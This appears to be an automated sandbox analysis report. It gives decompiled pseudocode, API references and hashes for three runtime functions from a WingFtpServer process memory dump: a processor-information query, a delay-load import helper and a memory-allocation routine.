Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$LocaleValid
String ID: en-US,en,
API String ID: 975949045-3579323720
Opcode ID: ea676d7a24d45cf19a1d0387cd581c8841fbcef263bf182b31cd01220b7fc91d
Instruction ID: afb244e56e4b0710274a391f77ee40b432ecaeea7ff4cd1001262d251a259abe
Opcode Fuzzy Hash: ea676d7a24d45cf19a1d0387cd581c8841fbcef263bf182b31cd01220b7fc91d
Instruction Fuzzy Hash: BA21AE2BB44F446EEA21F77C8A41A2E36D49B46A14B584477A040DF355EBB48D84C366

Uniqueness

Uniqueness Score: -1.00%

Function 03AA84A0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 36%

			E03AA84A0(void* __edx) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				char* _t23;
				intOrPtr _t29;
				intOrPtr _t39;
				void* _t41;
				void* _t43;
				intOrPtr _t44;

				_t41 = _t43;
				_t44 = _t43 + 0xfffffff4;
				_v16 = 0;
				if(GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "GetLogicalProcessorInformation") == 0) {
					L9:
					_v8 = 0x40;
					goto L10;
				} else {
					_t23 =  &_v16;
					_push(_t23);
					_push(0);
					L03AA528C();
					if(_t23 != 0 || GetLastError() != 0x7a) {
						goto L9;
					} else {
						_v12 = E03AA6E90(_v16);
						_push(_t41);
						_push(E03AA854E);
						_push( *[fs:edx]);
						 *[fs:edx] = _t44;
						_push( &_v16);
						_push(_v12);
						L03AA528C();
						_t29 = _v12;
						if(_v16 <= 0) {
							L8:
							_pop(_t39);
							 *[fs:eax] = _t39;
							_push(E03AA8555);
							return E03AA6EAC(_v12);
						} else {
							while( *((short*)(_t29 + 4)) != 2 ||  *((char*)(_t29 + 8)) != 1) {
								_t29 = _t29 + 0x18;
								_v16 = _v16 - 0x18;
								if(_v16 > 0) {
									continue;
								} else {
									goto L8;
								}
								goto L11;
							}
							_v8 =  *(_t29 + 0xa) & 0x0000ffff;
							E03AA938C();
							L10:
							return _v8;
						}
					}
				}
				L11:
			}

0x03aa84a1
0x03aa84a3
0x03aa84a8
0x03aa84c2
0x03aa8555
0x03aa8555
0x00000000
0x03aa84c8
0x03aa84c8
0x03aa84cb
0x03aa84cc
0x03aa84ce
0x03aa84d5
0x00000000
0x03aa84e1
0x03aa84e9
0x03aa84ee
0x03aa84ef
0x03aa84f4
0x03aa84f7
0x03aa84fd
0x03aa8501
0x03aa8502
0x03aa8507
0x03aa850e
0x03aa8538
0x03aa853a
0x03aa853d
0x03aa8540
0x03aa854d
0x03aa8510
0x03aa8510
0x03aa852b
0x03aa852e
0x03aa8536
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x03aa8536
0x03aa8521
0x03aa8524
0x03aa855c
0x03aa8562
0x03aa8562
0x03aa850e
0x03aa84d5
0x00000000

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetLogicalProcessorInformation), ref: 03AA84B5
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 03AA84BB
GetLogicalProcessorInformation.KERNEL32(00000000,?,GetLogicalProcessorInformation), ref: 03AA84CE
GetLastError.KERNEL32(00000000,?,GetLogicalProcessorInformation), ref: 03AA84D7
GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,03AA854E,?,00000000,?,GetLogicalProcessorInformation), ref: 03AA8502

Strings

kernel32.dll, xrefs: 03AA84B0
GetLogicalProcessorInformation, xrefs: 03AA84AB
@, xrefs: 03AA8555

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: InformationLogicalProcessor$AddressErrorHandleLastModuleProc
String ID: @$GetLogicalProcessorInformation$kernel32.dll
API String ID: 1184211438-79381301
Opcode ID: a287b71bd89e65c796efabf1ecb7b9931c7354aae78dddbfc5b4a77a905e1697
Instruction ID: 06afd608c35d85b827994dd873f19d0c7cb812470514541ed5b3d6db0abe6849
Opcode Fuzzy Hash: a287b71bd89e65c796efabf1ecb7b9931c7354aae78dddbfc5b4a77a905e1697
Instruction Fuzzy Hash: C6117F77D00B09AEDB14EBACC940A6DBBFCEF41200F0884ABDC149B241EB798A448A15

Uniqueness

Uniqueness Score: -1.00%

Function 03AB0A68 Relevance: 13.8, APIs: 9, Instructions: 258
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E03AB0A68(void* __eflags, intOrPtr _a4, intOrPtr* _a8) {
				long _v8;
				signed int _v12;
				long _v16;
				void* _v20;
				long _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				struct HINSTANCE__** _v48;
				CHAR* _v52;
				void _v56;
				long _v60;
				_Unknown_base(*)()* _v64;
				struct HINSTANCE__* _v68;
				CHAR* _v72;
				signed int _v76;
				CHAR* _v80;
				intOrPtr* _v84;
				void* _v88;
				void _v92;
				signed int _t104;
				signed int _t106;
				signed int _t108;
				long _t113;
				intOrPtr* _t119;
				void* _t124;
				void _t126;
				long _t128;
				struct HINSTANCE__* _t142;
				long _t166;
				signed int* _t190;
				_Unknown_base(*)()* _t191;
				void* _t194;
				intOrPtr _t196;

				_push(_a4);
				memcpy( &_v56, 0x3bcec4c, 8 << 2);
				_pop(_t194);
				_v56 =  *0x3bcec4c;
				_v52 = E03AB0F18( *0x03BCEC50);
				_v48 = E03AB0F28( *0x03BCEC54);
				_v44 = E03AB0F38( *0x03BCEC58);
				_v40 = E03AB0F48( *0x03BCEC5C);
				_v36 = E03AB0F48( *0x03BCEC60);
				_v32 = E03AB0F48( *0x03BCEC64);
				_v28 =  *0x03BCEC68;
				memcpy( &_v92, 0x3bcec6c, 9 << 2);
				_t196 = _t194;
				_v88 = 0x3bcec6c;
				_v84 = _a8;
				_v80 = _v52;
				if((_v56 & 0x00000001) == 0) {
					_t166 =  *0x3bcec90; // 0x0
					_v8 = _t166;
					_v8 =  &_v92;
					RaiseException(0xc06d0057, 0, 1,  &_v8);
					return 0;
				}
				_t104 = _a8 - _v44;
				_t142 =  *_v48;
				if(_t104 < 0) {
					_t104 = _t104 + 3;
				}
				_v12 = _t104 >> 2;
				_t106 = _v12;
				_t190 = (_t106 << 2) + _v40;
				_t108 = (_t106 & 0xffffff00 | (_t190[0] & 0x00000080) == 0x00000000) & 0x00000001;
				_v76 = _t108;
				if(_t108 == 0) {
					_v72 =  *_t190 & 0x0000ffff;
				} else {
					_v72 = E03AB0F58( *_t190) + 2;
				}
				_t191 = 0;
				if( *0x3bd6644 == 0) {
					L10:
					if(_t142 != 0) {
						L25:
						_v68 = _t142;
						if( *0x3bd6644 != 0) {
							_t191 =  *0x3bd6644(2,  &_v92);
						}
						if(_t191 != 0) {
							L36:
							if(_t191 == 0) {
								_v60 = GetLastError();
								if( *0x3bd6648 != 0) {
									_t191 =  *0x3bd6648(4,  &_v92);
								}
								if(_t191 == 0) {
									_t113 =  *0x3bcec98; // 0x0
									_v24 = _t113;
									_v24 =  &_v92;
									RaiseException(0xc06d007f, 0, 1,  &_v24);
									_t191 = _v64;
								}
							}
							goto L41;
						} else {
							if( *((intOrPtr*)(_t196 + 0x14)) == 0 ||  *((intOrPtr*)(_t196 + 0x1c)) == 0) {
								L35:
								_t191 = GetProcAddress(_t142, _v72);
								goto L36;
							} else {
								_t119 =  *((intOrPtr*)(_t142 + 0x3c)) + _t142;
								if( *_t119 != 0x4550 ||  *((intOrPtr*)(_t119 + 8)) != _v28 || (( *(_t119 + 0x34) & 0xffffff00 |  *(_t119 + 0x34) == _t142) & 0x00000001) == 0) {
									goto L35;
								} else {
									_t191 =  *((intOrPtr*)(_v36 + _v12 * 4));
									if(_t191 == 0) {
										goto L35;
									}
									L41:
									 *_a8 = _t191;
									goto L42;
								}
							}
						}
					}
					if( *0x3bd6644 != 0) {
						_t142 =  *0x3bd6644(1,  &_v92);
					}
					if(_t142 == 0) {
						_t142 = LoadLibraryA(_v80);
					}
					if(_t142 != 0) {
						L20:
						if(_t142 == E03AB0360(_v48, _t142)) {
							FreeLibrary(_t142);
						} else {
							if( *((intOrPtr*)(_t196 + 0x18)) != 0) {
								_t124 = LocalAlloc(0x40, 8);
								_v20 = _t124;
								if(_t124 != 0) {
									 *((intOrPtr*)(_v20 + 4)) = _t196;
									_t126 =  *0x3bcec48; // 0xe298f8
									 *_v20 = _t126;
									 *0x3bcec48 = _v20;
								}
							}
						}
						goto L25;
					} else {
						_v60 = GetLastError();
						if( *0x3bd6648 != 0) {
							_t142 =  *0x3bd6648(3,  &_v92);
						}
						if(_t142 != 0) {
							goto L20;
						} else {
							_t128 =  *0x3bcec94; // 0x0
							_v16 = _t128;
							_v16 =  &_v92;
							RaiseException(0xc06d007e, 0, 1,  &_v16);
							return _v64;
						}
					}
				} else {
					_t191 =  *0x3bd6644(0,  &_v92);
					if(_t191 == 0) {
						goto L10;
					} else {
						L42:
						if( *0x3bd6644 != 0) {
							_v60 = 0;
							_v68 = _t142;
							_v64 = _t191;
							 *0x3bd6644(5,  &_v92);
						}
						return _t191;
					}
				}
			}

0x03ab0a7c
0x03ab0a82
0x03ab0a84
0x03ab0a87
0x03ab0a94
0x03ab0aa1
0x03ab0aae
0x03ab0abb
0x03ab0ac8
0x03ab0ad5
0x03ab0ade
0x03ab0aec
0x03ab0aee
0x03ab0aef
0x03ab0af5
0x03ab0afb
0x03ab0b02
0x03ab0b04
0x03ab0b0a
0x03ab0b10
0x03ab0b20
0x00000000
0x03ab0b25
0x03ab0b32
0x03ab0b37
0x03ab0b39
0x03ab0b3b
0x03ab0b3b
0x03ab0b41
0x03ab0b44
0x03ab0b4c
0x03ab0b56
0x03ab0b59
0x03ab0b5e
0x03ab0b79
0x03ab0b60
0x03ab0b6c
0x03ab0b6c
0x03ab0b7c
0x03ab0b85
0x03ab0b9e
0x03ab0ba0
0x03ab0c62
0x03ab0c62
0x03ab0c6c
0x03ab0c7a
0x03ab0c7a
0x03ab0c7e
0x03ab0ccb
0x03ab0ccd
0x03ab0cd4
0x03ab0cde
0x03ab0cec
0x03ab0cec
0x03ab0cf0
0x03ab0cf2
0x03ab0cf7
0x03ab0cfd
0x03ab0d0d
0x03ab0d12
0x03ab0d12
0x03ab0cf0
0x00000000
0x03ab0c80
0x03ab0c84
0x03ab0cbf
0x03ab0cc9
0x00000000
0x03ab0c8c
0x03ab0c8f
0x03ab0c97
0x00000000
0x03ab0cb0
0x03ab0cb6
0x03ab0cbb
0x00000000
0x00000000
0x03ab0d15
0x03ab0d18
0x00000000
0x03ab0d18
0x03ab0c97
0x03ab0c84
0x03ab0c7e
0x03ab0bad
0x03ab0bbb
0x03ab0bbb
0x03ab0bbf
0x03ab0bca
0x03ab0bca
0x03ab0bce
0x03ab0c1b
0x03ab0c27
0x03ab0c5d
0x03ab0c29
0x03ab0c2d
0x03ab0c33
0x03ab0c38
0x03ab0c3d
0x03ab0c44
0x03ab0c4a
0x03ab0c4f
0x03ab0c54
0x03ab0c54
0x03ab0c3d
0x03ab0c2d
0x00000000
0x03ab0bd0
0x03ab0bd5
0x03ab0bdf
0x03ab0bed
0x03ab0bed
0x03ab0bf1
0x00000000
0x03ab0bf3
0x03ab0bf3
0x03ab0bf8
0x03ab0bfe
0x03ab0c0e
0x00000000
0x03ab0c13
0x03ab0bf1
0x03ab0b87
0x03ab0b93
0x03ab0b97
0x00000000
0x03ab0b99
0x03ab0d1a
0x03ab0d21
0x03ab0d25
0x03ab0d28
0x03ab0d2b
0x03ab0d34
0x03ab0d34
0x00000000
0x03ab0d3a
0x03ab0b97

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 03AB0B20

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 0f7027a5bd965bfde85d2f1ee707699c955e296c5cf774828aef2658bba98e23
Instruction ID: 7b30fa3e3ee44e83fd8e569b6739a9fd2d6254970e278c2bb7e667cffbce1c3b
Opcode Fuzzy Hash: 0f7027a5bd965bfde85d2f1ee707699c955e296c5cf774828aef2658bba98e23
Instruction Fuzzy Hash: 3FA17D75A003099FDB24DFA8D984BEFB7B9FB48314F14412EE505AB386DB70A945CB60

Uniqueness

Uniqueness Score: -1.00%

Function 03AA596C Relevance: 12.3, APIs: 7, Strings: 1, Instructions: 298
sleepCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E03AA596C(signed int __eax) {
				signed int __ebx;
				signed int __edi;
				signed int __esi;
				intOrPtr* _t99;
				signed int _t104;
				signed int _t109;
				signed int _t110;
				intOrPtr* _t114;
				void* _t116;
				intOrPtr* _t121;
				signed int _t125;
				signed int _t129;
				signed int _t131;
				signed int _t132;
				signed int _t133;
				signed int _t134;
				signed int _t135;
				unsigned int _t141;
				signed int _t142;
				void* _t144;
				intOrPtr* _t147;
				intOrPtr _t148;
				signed int _t150;
				long _t156;
				intOrPtr _t159;
				signed int _t162;

				_t95 = __eax;
				_t129 =  *0x3bd305d; // 0x0
				if(__eax > 0xa2c) {
					__eflags = __eax - 0x40a2c;
					if(__eax > 0x40a2c) {
						_pop(_t120);
						__eflags = __eax;
						if(__eax >= 0) {
							_push(_t120);
							_t162 = __eax;
							_t2 = _t162 + 0x10010; // 0x10110
							_t156 = _t2 - 0x00000001 + 0x00000004 & 0xffff0000;
							_t121 = VirtualAlloc(0, _t156, 0x101000, 4);
							if(_t121 != 0) {
								_t147 = _t121;
								 *((intOrPtr*)(_t147 + 8)) = _t162;
								 *(_t147 + 0xc) = _t156 | 0x00000004;
								E03AA56CC();
								_t99 =  *0x3bd5b84; // 0x3bd5b80
								 *_t147 = 0x3bd5b80;
								 *0x3bd5b84 = _t121;
								 *((intOrPtr*)(_t147 + 4)) = _t99;
								 *_t99 = _t121;
								 *0x3bd5b7c = 0;
								_t121 = _t121 + 0x10;
							}
							return _t121;
						} else {
							__eflags = 0;
							return 0;
						}
					} else {
						_t67 = _t95 + 0xd3; // 0x1d3
						_t125 = (_t67 & 0xffffff00) + 0x30;
						__eflags = _t129;
						if(__eflags != 0) {
							while(1) {
								asm("lock cmpxchg [0x3bd3aec], ah");
								if(__eflags == 0) {
									goto L42;
								}
								asm("pause");
								__eflags =  *0x3bd398d;
								if(__eflags != 0) {
									continue;
								} else {
									Sleep(0);
									asm("lock cmpxchg [0x3bd3aec], ah");
									if(__eflags != 0) {
										Sleep(0xa);
										continue;
									}
								}
								goto L42;
							}
						}
						L42:
						_t68 = _t125 - 0xb30; // -2445
						_t141 = _t68;
						_t142 = _t141 >> 0xd;
						_t131 = _t141 >> 8;
						_t104 = 0xffffffff << _t131 &  *(0x3bd3afc + _t142 * 4);
						__eflags = 0xffffffff;
						if(0xffffffff == 0) {
							_t132 = _t142;
							__eflags = 0xfffffffe << _t132 &  *0x3bd3af8;
							if((0xfffffffe << _t132 &  *0x3bd3af8) == 0) {
								_t133 =  *0x3bd3af4; // 0xd2e40
								_t134 = _t133 - _t125;
								__eflags = _t134;
								if(_t134 < 0) {
									_t109 = E03AA5650(_t125);
								} else {
									_t110 =  *0x3bd3af0; // 0x3eb2e50
									_t109 = _t110 - _t125;
									 *0x3bd3af0 = _t109;
									 *0x3bd3af4 = _t134;
									 *(_t109 - 4) = _t125 | 0x00000002;
								}
								 *0x3bd3aec = 0;
								return _t109;
							} else {
								asm("bsf edx, eax");
								asm("bsf ecx, eax");
								_t135 = _t132 | _t142 << 0x00000005;
								goto L50;
							}
						} else {
							asm("bsf eax, eax");
							_t135 = _t131 & 0xffffffe0 | _t104;
							L50:
							_push(_t152);
							_push(_t145);
							_t148 = 0x3bd3b7c + _t135 * 8;
							_t159 =  *((intOrPtr*)(_t148 + 4));
							_t114 =  *((intOrPtr*)(_t159 + 4));
							 *((intOrPtr*)(_t148 + 4)) = _t114;
							 *_t114 = _t148;
							__eflags = _t148 - _t114;
							if(_t148 == _t114) {
								asm("rol eax, cl");
								_t80 = 0x3bd3afc + _t142 * 4;
								 *_t80 =  *(0x3bd3afc + _t142 * 4) & 0xfffffffe;
								__eflags =  *_t80;
								if( *_t80 == 0) {
									asm("btr [0x3bd3af8], edx");
								}
							}
							_t150 = 0xfffffff0 &  *(_t159 - 4);
							_t144 = 0xfffffff0 - _t125;
							__eflags = 0xfffffff0;
							if(0xfffffff0 == 0) {
								_t89 =  &((_t159 - 4)[0xfffffffffffffffc]);
								 *_t89 =  *(_t159 - 4 + _t150) & 0x000000f7;
								__eflags =  *_t89;
							} else {
								_t116 = _t125 + _t159;
								 *((intOrPtr*)(_t116 - 4)) = 0xfffffffffffffff3;
								 *(0xfffffff0 + _t116 - 8) = 0xfffffff0;
								__eflags = 0xfffffff0 - 0xb30;
								if(0xfffffff0 >= 0xb30) {
									E03AA5584(_t116, 0xfffffffffffffff3, _t144);
								}
							}
							_t93 = _t125 + 2; // 0x1a5
							 *(_t159 - 4) = _t93;
							 *0x3bd3aec = 0;
							return _t159;
						}
					}
				} else {
					__eflags = __cl;
					_t6 = __edx + 0x3bd3994; // 0xc8c8c8c8
					__eax =  *_t6 & 0x000000ff;
					__ebx = 0x3bce074 + ( *_t6 & 0x000000ff) * 8;
					if(__eflags != 0) {
						while(1) {
							__eax = 0x100;
							asm("lock cmpxchg [ebx], ah");
							if(__eflags == 0) {
								goto L5;
							}
							__ebx = __ebx + 0x20;
							__eflags = __ebx;
							__eax = 0x100;
							asm("lock cmpxchg [ebx], ah");
							if(__ebx != 0) {
								__ebx = __ebx + 0x20;
								__eflags = __ebx;
								__eax = 0x100;
								asm("lock cmpxchg [ebx], ah");
								if(__ebx != 0) {
									__ebx = __ebx - 0x40;
									asm("pause");
									__eflags =  *0x3bd398d;
									if(__eflags != 0) {
										continue;
									} else {
										Sleep(0);
										__eax = 0x100;
										asm("lock cmpxchg [ebx], ah");
										if(__eflags != 0) {
											Sleep(0xa);
											continue;
										}
									}
								}
							}
							goto L5;
						}
					}
					L5:
					__edx =  *(__ebx + 8);
					__eax =  *(__edx + 0x10);
					__ecx = 0xfffffff8;
					__eflags = __edx - __ebx;
					if(__edx == __ebx) {
						__edx =  *(__ebx + 0x18);
						__ecx =  *(__ebx + 2) & 0x0000ffff;
						__ecx = ( *(__ebx + 2) & 0x0000ffff) + __eax;
						__eflags = __eax -  *(__ebx + 0x14);
						if(__eax >  *(__ebx + 0x14)) {
							_push(__esi);
							_push(__edi);
							__eflags =  *0x3bd305d;
							if(__eflags != 0) {
								while(1) {
									__eax = 0x100;
									asm("lock cmpxchg [0x3bd3aec], ah");
									if(__eflags == 0) {
										goto L22;
									}
									asm("pause");
									__eflags =  *0x3bd398d;
									if(__eflags != 0) {
										continue;
									} else {
										Sleep(0);
										__eax = 0x100;
										asm("lock cmpxchg [0x3bd3aec], ah");
										if(__eflags != 0) {
											Sleep(0xa);
											continue;
										}
									}
									goto L22;
								}
							}
							L22:
							 *(__ebx + 1) =  *(__ebx + 1) &  *0x3bd3af8;
							__eflags =  *(__ebx + 1) &  *0x3bd3af8;
							if(( *(__ebx + 1) &  *0x3bd3af8) == 0) {
								__ecx =  *(__ebx + 4) & 0x0000ffff;
								__edi =  *0x3bd3af4; // 0xd2e40
								__eflags = __edi - ( *(__ebx + 4) & 0x0000ffff);
								if(__edi < ( *(__ebx + 4) & 0x0000ffff)) {
									__eax =  *(__ebx + 6) & 0x0000ffff;
									__edi = __eax;
									__eax = E03AA5650(__eax);
									__esi = __eax;
									__eflags = __eax;
									if(__eax != 0) {
										goto L35;
									} else {
										 *0x3bd3aec = __al;
										 *__ebx = __al;
										_pop(__edi);
										_pop(__esi);
										_pop(__ebx);
										return __eax;
									}
								} else {
									__esi =  *0x3bd3af0; // 0x3eb2e50
									__ecx =  *(__ebx + 6) & 0x0000ffff;
									__edx = __ecx + 0xb30;
									__eflags = __edi - __ecx + 0xb30;
									if(__edi >= __ecx + 0xb30) {
										__edi = __ecx;
									}
									__esi = __esi - __edi;
									 *0x3bd3af4 =  *0x3bd3af4 - __edi;
									 *0x3bd3af0 = __esi;
									goto L35;
								}
							} else {
								asm("bsf eax, esi");
								__esi = __eax * 8;
								__ecx =  *(0x3bd3afc + __eax * 4);
								asm("bsf ecx, ecx");
								__ecx =  *(0x3bd3afc + __eax * 4) + __eax * 8 * 4;
								__edi = 0x3bd3b7c + ( *(0x3bd3afc + __eax * 4) + __eax * 8 * 4) * 8;
								__esi =  *(__edi + 4);
								__edx =  *(__esi + 4);
								 *(__edi + 4) = __edx;
								 *__edx = __edi;
								__eflags = __edi - __edx;
								if(__edi == __edx) {
									__edx = 0xfffffffe;
									asm("rol edx, cl");
									_t38 = 0x3bd3afc + __eax * 4;
									 *_t38 =  *(0x3bd3afc + __eax * 4) & 0xfffffffe;
									__eflags =  *_t38;
									if( *_t38 == 0) {
										asm("btr [0x3bd3af8], eax");
									}
								}
								__edi = 0xfffffff0;
								__edi = 0xfffffff0 &  *(__esi - 4);
								__eflags = 0xfffffff0 - 0x10a60;
								if(0xfffffff0 < 0x10a60) {
									_t52 =  &((__esi - 4)[0xfffffffffffffffc]);
									 *_t52 = (__esi - 4)[0xfffffffffffffffc] & 0x000000f7;
									__eflags =  *_t52;
								} else {
									__edx = __edi;
									__edi =  *(__ebx + 6) & 0x0000ffff;
									__edx = __edx - __edi;
									__eax = __edi + __esi;
									__ecx = __edx + 3;
									 *(__eax - 4) = __ecx;
									 *(__edx + __eax - 8) = __edx;
									__eax = E03AA5584(__eax, __ecx, __edx);
								}
								L35:
								_t56 = __edi + 6; // 0xd2e46
								__ecx = _t56;
								 *(__esi - 4) = _t56;
								__eax = 0;
								 *0x3bd3aec = __al;
								 *__esi = __ebx;
								 *((intOrPtr*)(__esi + 0x10)) = 0;
								 *((intOrPtr*)(__esi + 0x14)) = 1;
								 *(__ebx + 0x18) = __esi;
								_t61 = __esi + 0x20; // 0x3eb2e70
								__eax = _t61;
								__ecx =  *(__ebx + 2) & 0x0000ffff;
								__edx = __ecx + __eax;
								 *(__ebx + 0x10) = __ecx + __eax;
								__edi = __edi + __esi;
								__edi = __edi - __ecx;
								__eflags = __edi;
								 *(__ebx + 0x14) = __edi;
								 *__ebx = 0;
								 *(__eax - 4) = __esi;
								_pop(__edi);
								_pop(__esi);
								_pop(__ebx);
								return __eax;
							}
						} else {
							_t19 = __edx + 0x14;
							 *_t19 =  *(__edx + 0x14) + 1;
							__eflags =  *_t19;
							 *(__ebx + 0x10) = __ecx;
							 *__ebx = 0;
							 *(__eax - 4) = __edx;
							_pop(__ebx);
							return __eax;
						}
					} else {
						 *(__edx + 0x14) =  *(__edx + 0x14) + 1;
						__ecx = 0xfffffff8 &  *(__eax - 4);
						__eflags = 0xfffffff8;
						 *(__edx + 0x10) = 0xfffffff8 &  *(__eax - 4);
						 *(__eax - 4) = __edx;
						if(0xfffffff8 == 0) {
							__ecx =  *(__edx + 8);
							 *(__ecx + 0xc) = __ebx;
							 *(__ebx + 8) = __ecx;
							 *__ebx = 0;
							_pop(__ebx);
							return __eax;
						} else {
							 *__ebx = 0;
							_pop(__ebx);
							return __eax;
						}
					}
				}
			}

0x03aa596c
0x03aa5978
0x03aa597e
0x03aa5bcc
0x03aa5bd1
0x03aa5ce4
0x03aa5ce5
0x03aa5ce7
0x03aa5718
0x03aa571c
0x03aa571e
0x03aa5728
0x03aa573d
0x03aa5741
0x03aa5743
0x03aa5745
0x03aa574b
0x03aa574e
0x03aa5753
0x03aa5758
0x03aa575e
0x03aa5764
0x03aa5767
0x03aa5769
0x03aa5770
0x03aa5770
0x03aa5779
0x03aa5ced
0x03aa5ced
0x03aa5cef
0x03aa5cef
0x03aa5bd7
0x03aa5bd7
0x03aa5be3
0x03aa5be6
0x03aa5be8
0x03aa5b90
0x03aa5b95
0x03aa5b9d
0x00000000
0x00000000
0x03aa5b9f
0x03aa5ba1
0x03aa5ba8
0x00000000
0x03aa5baa
0x03aa5bac
0x03aa5bb6
0x03aa5bbe
0x03aa5bc2
0x00000000
0x03aa5bc2
0x03aa5bbe
0x00000000
0x03aa5ba8
0x03aa5b90
0x03aa5bea
0x03aa5bea
0x03aa5bea
0x03aa5bf2
0x03aa5bf5
0x03aa5bff
0x03aa5bff
0x03aa5c06
0x03aa5c19
0x03aa5c1d
0x03aa5c23
0x03aa5c3c
0x03aa5c42
0x03aa5c42
0x03aa5c44
0x03aa5c62
0x03aa5c46
0x03aa5c46
0x03aa5c4b
0x03aa5c4d
0x03aa5c52
0x03aa5c5b
0x03aa5c5b
0x03aa5c67
0x03aa5c6f
0x03aa5c25
0x03aa5c25
0x03aa5c2f
0x03aa5c37
0x00000000
0x03aa5c37
0x03aa5c08
0x03aa5c0b
0x03aa5c0e
0x03aa5c70
0x03aa5c70
0x03aa5c71
0x03aa5c72
0x03aa5c79
0x03aa5c7c
0x03aa5c7f
0x03aa5c82
0x03aa5c84
0x03aa5c86
0x03aa5c8d
0x03aa5c8f
0x03aa5c8f
0x03aa5c8f
0x03aa5c96
0x03aa5c98
0x03aa5c98
0x03aa5c96
0x03aa5ca4
0x03aa5ca9
0x03aa5ca9
0x03aa5cab
0x03aa5ccc
0x03aa5ccc
0x03aa5ccc
0x03aa5cad
0x03aa5cad
0x03aa5cb3
0x03aa5cb6
0x03aa5cba
0x03aa5cc0
0x03aa5cc2
0x03aa5cc2
0x03aa5cc0
0x03aa5cd1
0x03aa5cd4
0x03aa5cd7
0x03aa5ce3
0x03aa5ce3
0x03aa5c06
0x03aa5984
0x03aa5984
0x03aa5986
0x03aa5986
0x03aa598d
0x03aa5994
0x03aa59ec
0x03aa59ec
0x03aa59f1
0x03aa59f5
0x00000000
0x00000000
0x03aa59f7
0x03aa59f7
0x03aa59fa
0x03aa59ff
0x03aa5a03
0x03aa5a05
0x03aa5a05
0x03aa5a08
0x03aa5a0d
0x03aa5a11
0x03aa5a13
0x03aa5a16
0x03aa5a18
0x03aa5a1f
0x00000000
0x03aa5a21
0x03aa5a23
0x03aa5a28
0x03aa5a2d
0x03aa5a31
0x03aa5a39
0x00000000
0x03aa5a39
0x03aa5a31
0x03aa5a1f
0x03aa5a11
0x00000000
0x03aa5a03
0x03aa59ec
0x03aa5996
0x03aa5996
0x03aa5999
0x03aa599c
0x03aa59a1
0x03aa59a3
0x03aa59bc
0x03aa59bf
0x03aa59c3
0x03aa59c5
0x03aa59c8
0x03aa5a40
0x03aa5a41
0x03aa5a42
